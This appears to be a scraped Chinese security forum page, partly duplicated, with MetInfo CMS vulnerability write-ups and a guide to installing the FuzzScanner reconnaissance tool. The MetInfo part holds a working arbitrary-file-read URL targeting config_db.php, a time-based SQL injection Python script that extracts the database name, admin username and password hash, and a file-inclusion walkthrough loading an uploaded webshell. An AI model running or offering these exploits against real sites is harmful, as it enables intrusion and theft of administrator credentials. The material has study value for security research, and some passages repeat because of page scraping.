$string[$key] = daddslashes($val, $force);
}
}
}

return $string;
}
可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。
好,那里我们确实存在变量覆盖漏洞了,现在我们就需要寻找可以和变量覆盖漏洞配合造成危害的地方了,比如任意文件包含、任意文件读取等等。所以我们现在开始查找包含了这个common.inc.php的文件以及可以造成覆盖变量的利用文件。
 
3. 关于页面
接着来看/about/页面的信息,查看\about\index.php文件,这里存在两个比较可疑的变量、一个是fmodule变量、另一个是module变量,其中还有require_once()函数,可能存在文件包含漏洞:
\about\index.php:<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
?>
以上代码中的 $module 变量未赋值
先来输出一下看看 $module 变量的值是什么<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
require_once $module;
?>
浏览器执行 http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php




可以看到 $module 的值是 show.php
浏览器执行http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php?module=123456




$module 的值并没有覆盖掉
分析 require_once ‘…/include/module.php’; 发现包含了common.inc.php
也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖,输出尝试一下:<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
echo $fmodule;
require_once $module;
?>
浏览器执行/about/index.php?module=123&amp;fmodule=test




4. fmodule变量和module变量之间的关系
因为需要利用到require_once()函数来实现文件包含漏洞的利用,接着找fmodule变量和module变量之间的关系,回到module.php来跟踪module变量,可以看到在最后的判断语句中存在该变量:$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}
当fmodule不为7时,不覆盖;fmodule为7时,覆盖:
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=7




$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数到这里也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖
 
漏洞利用
包含上传的小马文件xiaoma.txt
浏览器执行 /about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt




补充:按照实验流程以及文章给的5.3.17版本实验并没有复现成功
我的疑问主要在
文章说$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数(但当运行到某处时应该变成了空值)
index.php中首先运行module.php




我所输入的?module=123456 在module.php运行到99行判断f是否为7时又被变成了空值(文章中也有99行的代码并非版本不同)




而后才在index,php被require_once




因此运行 /about/index.php?fmodule=7&module=123456 时页面并不会显示module=123456




若在98行输出才会显示到页面上









说明确实变成了空值,,那么运行/about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt应该也不会出现文章中的效果 吧





 
参考文章
https://www.cnblogs.com/Spec/p/10735432.html
https://www.cnblogs.com/-qing-/p/10889467.html
关于变量覆盖
https://blog.csdn.net/Kevinhanser/article/details/81176757
https://www.freebuf.com/column/150731.html
https://blog.csdn.net/Kevinhanser/article/details/81146092

 
 
 
 

 
  查看全部
cms类型判断
robots.txt文件
robots.txt文件我们写过爬虫的就知道,这个文件是告诉我们哪些目录是禁止爬取的。但是大部分的时候我们都能通过robots.txt文件来判断出cms的类型
  1. 从wp路径可以看出这个是WordPress的CMS


001.png

 
WordPress
  1. 这个就比较明显了直接告诉我们是PageAdmin cms


002.png

 
PageAdmin CMS
  1. 有些robots.txt里面写得不是很清楚。我们看看织梦的


003.png

 
dedeCMS
从robots.txt不能直接看出来是什么cms,我们就直接把他复制到百度去查询

004.png

 
这样就找到是织梦CMS
通过版权信息进行查询
一般直接拉到底部查看版权信息,有些站点会显示出来,比如织梦这个
005.png

版权信息
通过查看网页源码的方式
有些站点没有robot.txt,也把版本信息改了,这时候首页查看网页源码可能找得到,如图

006.png

米拓cms
一款免费开源的企业级 CMS, 采用 PHP + Mysql 架构,是一款对 SEO 非常友好、功能全面、支持可视化编辑、多语言、响应式展示,极其适合企业网站建设的 cms 建站系统。致力于打造中小企业优质的互联网信息化工具供应平台
0x01任意文件读取
漏洞分析
漏洞文件 app\system\include\module\old_thumb.class.php
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

1 页面建立old_thumb 类,并创建dbshow方法
2 程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。
3 windows下可以使用…\绕过
漏洞利用
版本 6.0.0
http://localhost/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
007.png

0x02sql盲注
漏洞分析
此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞。
漏洞版本 <6.2.0
讲解版本:metinfo6.1.3
漏洞最初产生为:/app/system/user/web/register.class.php 94~107行:
008.png

可以看到此函数将 GET,POST,COOKIE,过来的数据经过decode解码后直接赋值给$username变量,然后将此变量带入get_user_valid()函数,跟进:
009.png

将此可控变量引入get_user_by_username()函数,跟进:
10.png

再次跟进get_user_by_nameid()函数:
11.png

此处可以看到,这条SQL语句将未过滤的变量直接带入SQL查询中,于是产生SQL注入漏洞。此处回过头在看看decode函数内容,然后构造payload。
12.png

可以看到decode函数与encode函数都会将数据引入authcode函数中,查看此函数:
13.png

再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys'];
14.png

此处可以看到$_M['config']['met_webkeys']是取随机数,然后在写入config_safe.php中,但此处有一个致命的问题,就是<?php后面没有空格是无法解析的,于是可以查看的到此随机数。
15.png

于是,有了$this->auth_key = $_M['config']['met_webkeys']的值之后,就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地稍作更改,如下:
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));
?>

访问此文件,$_GET['str']的值为payload,$_GET['key']的值为config_safe.php中的内容,可获取一个加密后的数据,然后将此数据通过GET,POST,COOKIE等方式传入,即可成功利用漏洞。
16.png

漏洞利用
测试版本 6.0.0
首先查看config_safe.php生成的值
view-source:http://localhost/MetInfo6.0.0/config/config_safe.php

获得
17.png

构造payload
?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6

访问运行本地的authcode函数
http://localhost/mi.php?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6


生成
18.png

将生成的信息填入
localhost/MetInfo6.0.0/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=

访问发现sleep成功
利用脚本
#coding=utf-8
import requests
import re
import sys
import time


#获取config_safe.php中的 key
def getKey(url,headers,local_url):
try:
url_key = url + "/config/config_safe.php"
rsp = requests.get(url_key,headers)
p = re.compile(r'<\?php\/\*(.*)\*\/\?>')
p1 = p.findall(rsp.text)
key = p1[0]
databaseLen(key,headers,local_url,url)
except:
sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):
for str in range(1,21):
len = '%d'%str
payload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
databaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):
len = int(len)
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量
database_name = ''
for i in range(len):
ch = i + 1
ch = '%d'%ch
for char in chars:
payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
database_name = database_name + char
print("数据库名字为:%s"%database_name)
adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):
#首先爆用户名长度
for i in range(1,20):
len = '%d'%i
payload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"
back_len = queryKey(key,headers,payload_len,local_url,url)
if back_len is True:
break
#在爆出用户名
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加
admin_name = ''
for x in range(i):
str = '%d'%(x+1)
for char in chars:
payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload_str,local_url,url)
if back_str is True:
admin_name = admin_name + char
break
print("管理员用户名为:%s"%admin_name)
adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加
admin_pass = ''
for i in range(1,33):
str = '%d'%i
for char in chars:
payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
admin_pass = admin_pass + char
print("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):
payload = "key="+key+"&str="+str
rsp = requests.post(local_url,headers = headers,data = payload)
# str = rsp.url
# data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
# print(data)
return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):
params = "p="+payload
test_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"
return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):
startTime = time.time();
rsp = requests.post(url,data=params,headers=headers)
if time.time() - startTime > 4:
return True
else:
pass
if __name__ == '__main__':
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"en-US,en;q=0.5"
}
url = input("please input URL:")
if "http://" or "https://" in url:
local_url = input("请输入本地搭建的encode函数地址:")
getKey(url,headers,local_url)
else:
print("please input the correct url!!")  

本地搭建的encode函数:
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));
19.png

 
0x03变量覆盖漏洞
漏洞详情简介
变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables() $$使用不当
影响版本 :5.3.
代码分析
1. metinfo\include\common.inc.php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}

这里注意$$request造成变量覆盖 ,代码中使用 $_request 来获取用户信息,代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,此处还使用自定义函数 daddslashes() 对变量值进行处理。 作用是获取参数很方便
在一简单的题中:
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?id=1 会将id的值覆盖,id的值覆盖,id=1。
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : 2;
if($id == 1) {
echo "flag{xxxxxxxxxx}";
die();
}
echo $id;
?>

浏览器执行 http://127.0.0.1/test.php?id=1
20.png

2. 代码中查找 daddslashes() 函数
/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}

return $string;
}

可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。
好,那里我们确实存在变量覆盖漏洞了,现在我们就需要寻找可以和变量覆盖漏洞配合造成危害的地方了,比如任意文件包含、任意文件读取等等。所以我们现在开始查找包含了这个common.inc.php的文件以及可以造成覆盖变量的利用文件。
 
3. 关于页面
接着来看/about/页面的信息,查看\about\index.php文件,这里存在两个比较可疑的变量、一个是fmodule变量、另一个是module变量,其中还有require_once()函数,可能存在文件包含漏洞:
\about\index.php:
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
?>

以上代码中的 $module 变量未赋值
先来输出一下看看 $module 变量的值是什么
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
require_once $module;
?>

浏览器执行 http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php
21.png

可以看到 $module 的值是 show.php
浏览器执行http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php?module=123456
22.png

$module 的值并没有覆盖掉
分析 require_once ‘…/include/module.php’; 发现包含了common.inc.php
也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖,输出尝试一下:
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
echo $fmodule;
require_once $module;
?>

浏览器执行/about/index.php?module=123&amp;fmodule=test
23.png

4. fmodule变量和module变量之间的关系
因为需要利用到require_once()函数来实现文件包含漏洞的利用,接着找fmodule变量和module变量之间的关系,回到module.php来跟踪module变量,可以看到在最后的判断语句中存在该变量:
$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}

当fmodule不为7时,不覆盖;fmodule为7时,覆盖:
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=7
24.png

$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数到这里也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖
 
漏洞利用
包含上传的小马文件xiaoma.txt
浏览器执行 /about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt
25.png

补充:按照实验流程以及文章给的5.3.17版本实验并没有复现成功
我的疑问主要在
文章说$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数(但当运行到某处时应该变成了空值)
index.php中首先运行module.php
26.png

我所输入的?module=123456 在module.php运行到99行判断f是否为7时又被变成了空值(文章中也有99行的代码并非版本不同)
27.png

而后才在index,php被require_once
28.png

因此运行 /about/index.php?fmodule=7&module=123456 时页面并不会显示module=123456
29.png

若在98行输出才会显示到页面上
30.png


31.png

说明确实变成了空值,,那么运行/about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt应该也不会出现文章中的效果 吧

QQ截图20191206105415.jpg

 
参考文章
https://www.cnblogs.com/Spec/p/10735432.html
https://www.cnblogs.com/-qing-/p/10889467.html
关于变量覆盖
https://blog.csdn.net/Kevinhanser/article/details/81176757
https://www.freebuf.com/column/150731.html
https://blog.csdn.net/Kevinhanser/article/details/81146092

 
 
 
 

 
 

安服神器 | FuzzScanner的安装及使用教程

zh_smile 发表了文章 • 1 个评论 • 440 次浏览 • 2019-12-05 21:29 • 来自相关话题

一.工具介绍
一个用来进行信息搜集的工具集,主要是用于对网站子域名、开放端口、端口指纹、c段地址、敏感目录、链接爬取等信息进行批量搜集。
fuzzScanner可用于批量快速的搜集网站信息,比别人更快一步的发现其他端口的应用或者网站管理后台等,也适合src漏洞挖掘的前期信息搜集。
开发初衷比较简单,当时正在参加一些攻防演练,需要快速的对目标网站进行子域名发现、端口扫描、目录扫描等,手头上有一些分散的工具,比如lijiejie的subdomains、子域名挖掘机、dirsearch等等,但当目标任务量比较大时,这些重复性的工作就会比较费时费力,所以就有了这么个集合十八种杀人武器于一身的“超级武器”——fuzzScanner。
二.工具安装
安装环境为linux,windows均可,内部工具wydomain、WhatWeb、subDomainsBrute、dirsearch、wafw00f等工具均已放在libs目录下,默认可直接调用。
1.常规安装(linux下安装,不建议)
从github上面拖下来git clone [url]https://github.com/TideSec/FuzzScanner[/url]




如果你没有安装git,请参考https://www.jianshu.com/p/df607885cfd0
由于该命令时提示无法找到https://github.com/TideSec/FuzzScanner
解决方法:直接输入以下命令git clone git://github.com/TideSec/FuzzScanner
 
 
 
 安装requirements.txt依赖pip install -r requirements.txt该命令必须在刚才克隆的fuzzscanner运行,否则会出现找不到requirements.txt
使用pip命令前提该linux系统必须带有python环境,有时运行pip命令是会出现报错
请参考https://blog.csdn.net/lkgCSDN/article/details/84403329进行配置
 
安装ruby环境,以便运行whatwebsudo yum install ruby # CentOS, Fedora, 或 RHEL 系统
sudo apt-get install ruby-full # Debian 或 Ubuntu 系统
 
安装nampyum install nmap # CentOS, Fedora, 或 RHEL 系统
apt-get install nmap # Debian 或 Ubuntu 系统
运行脚本,因为调用nmap需要root权限,所以需要sudo。sudo python FuzzScanner.py
直到此处安装完成(本人在centos6.5下按照上述方法安装,到最后一步会出现fuzzscanner.py脚本语法错误,去
https://github.com/TideSec/FuzzScanner
发现代码一模一样。一直没找到解决方法,所有不建议选择常规安装)
 
2.使用docker镜像安装(linux,windows均可以)
本人在centos7上安装的docker,安装docker请参考文章https://www.runoob.com/docker/centos-docker-install.html
windows下安装docker请参考https://www.runoob.com/docker/windows-docker-install.html 
备注:(在windows下安装docker必须开启Hyper-V,这个操作会导致VMware无法运行,所有不建议在Windows下安装docker)
安装完成后从阿里云上使用docker命令pull下来docker pull registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner:1.0使用docker images查看docker镜像信息docker images



创建docker并进入dockerdocker run --name fuzzscanner -t -i 52341fc71d0a /bin/bash执行fuzzscannercd /root/FuzzScanner/
python FuzzScanner.py 使用方法python FuzzScanner.py -hc target.com --> domain && web finger && Dir scan && C scan
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -c 192.168.1.1 --> C scan
设置单个IP,进行C段地址探测

python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
设置单个IP,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -C vuln_ip.txt --> C scan
从文件读取单个或多个目标IP地址,进行C段地址探测

python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
从文件读取单个或多个目标IP地址,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
设置单个IP,进行C段地址探测和全端口扫描

python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport
从文件读取单个或多个目标IP地址,进行C段地址探测和全端口扫描
 
上述为第一次运行该脚本命令,关闭后再次启用该docker镜像命令如下[root@localhost ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner 1.0 52341fc71d0a 8 months ago 1.36GB
hello-world latest fce289e99eb9 11 months ago 1.84kB



ot@localhost ~]# docker run -i -t 52341fc71d0a /bin/bash
[root@69d9e2dd7b57 /]#



[root@69d9e2dd7b57 /]# cd /root/FuzzScanner/
[root@69d9e2dd7b57 FuzzScanner]#



[root@69d9e2dd7b57 FuzzScanner]# python FuzzScanner.py

python FuzzScanner.py -hc target.com --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
python FuzzScanner.py -c 192.168.1.1 --> C scan
python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
python FuzzScanner.py -C vuln_ip.txt --> C scan
python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport




如果运行docker时出现Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?输入以下命令$ systemctl daemon-reload
$ sudo service docker restart
$ sudo service docker status (should see active (running))
$ sudo docker run hello-world
 
Fuzzscanner主要功能及原理介绍
子域名枚举
当输入目标站点域名后,会使用以下4种方式进行子域名的枚举1、百度链接爬取,会使用site:xxx.com为关键字爬取所有子域名;
2、网站友链爬取,会对自身3层链接目录进行爬取,搜集子域名;
3、本利想对chaxunla、aizhan之类的子域名查询接口进行查询,后来发现猪猪侠的wydomain已经实现了这个功能,就直接调用了wydomain;
4、使用了subdomains进行子域名的暴力枚举 端口扫描
端口扫描和指纹获取主要依赖于nmap1、首先根据参数设置情况判断是全端口扫描还是部分端口扫描;
2、如果扫描目标是网站地址,会根据目标开放的端口进行指纹获取,如果某端口服务为web服务,还会继续进行web指纹的获取;
3、如果扫描目标是ip地址或地址段,会先试用pynamp进行存活主机判断,然后使用socket端口探测的方式探测存活主机,然后再使用nmap进行端口的扫描和指纹的获取。 指纹识别
主要调用了whatweb、wafw00f、whatcms等进行了web指纹的识别1、当扫描web地址或探测到某端口为web服务时,会使用whatweb探测该站点信息,提取关键字段;
2、使用了wafw00f来探测是否存在waf,这样对有waf的不太好啃的站点可以暂时放弃;
3、对web站点进行了目录枚举,可能直接发行管理后台地址或备份文件等。 其他功能
在一些c段主机扫描、目录枚举、可能存在的威胁页面等方面进行了判断。1、在扫描子域名时会解析其ip地址,并把改ip地址作为目标系统的C段地址,如设置了c段扫描的参数时会自动扫描其c段地址;
2、当扫描web地址或探测到某端口为web服务时,会自动进行了web指纹探测,并调用dirsearch进行目录枚举;
3、在检测到端口或Url地址中存在可能的漏洞点时,会输出到vulnerable.txt,比如.action及其他一些动态页面时。 结果保存
由于这些扫描结果需要后续人工逐个测试,为了方便就直接保存了txt,未保存数据库。
扫描完成后的结果保存log目录,最主要的就是该站点log根目录下的几个txt文档,比如下图中的vipshop.com-sub_info.txt、vipshop.com-domain.txt、vipshop.com-c_ip.txt、vipshop.com-c_ip_info.txt等。1、sub目录下为各子站点的各相应详细信息,方便回溯;
2、spider是对各目标系统的爬虫记录,并区分了动态链接、外部链接等;
3、domain目录是wydomain、subdomians等的子域名记录;
4、c_ip目录为ip地址扫描的相关信息;保存的主要结果
 
以vipshop.com和guazi.com为例,保存了网站信息、网站标题、中间件信息、waf信息、端口信息、目录扫描信息等等。
 
注意事项
1、在扫描c段时,如果选择了全端口扫描,速度会比较慢,但可能会有惊喜。适合有个服务器放上面慢慢跑。
2、如果选择了目录枚举,可能速度也会比较慢,目录枚举是直接用的dirsearch,在启用该功能后当发现某端口为web服务时就会调用dirsearch。
 
 
备注:文章转载自:https://www.freebuf.com/sectool/200344.html
  查看全部
一.工具介绍
一个用来进行信息搜集的工具集,主要是用于对网站子域名、开放端口、端口指纹、c段地址、敏感目录、链接爬取等信息进行批量搜集。
fuzzScanner可用于批量快速的搜集网站信息,比别人更快一步的发现其他端口的应用或者网站管理后台等,也适合src漏洞挖掘的前期信息搜集。
开发初衷比较简单,当时正在参加一些攻防演练,需要快速的对目标网站进行子域名发现、端口扫描、目录扫描等,手头上有一些分散的工具,比如lijiejie的subdomains、子域名挖掘机、dirsearch等等,但当目标任务量比较大时,这些重复性的工作就会比较费时费力,所以就有了这么个集合十八种杀人武器于一身的“超级武器”——fuzzScanner。
二.工具安装
安装环境为linux,windows均可,内部工具wydomain、WhatWeb、subDomainsBrute、dirsearch、wafw00f等工具均已放在libs目录下,默认可直接调用。
1.常规安装(linux下安装,不建议)
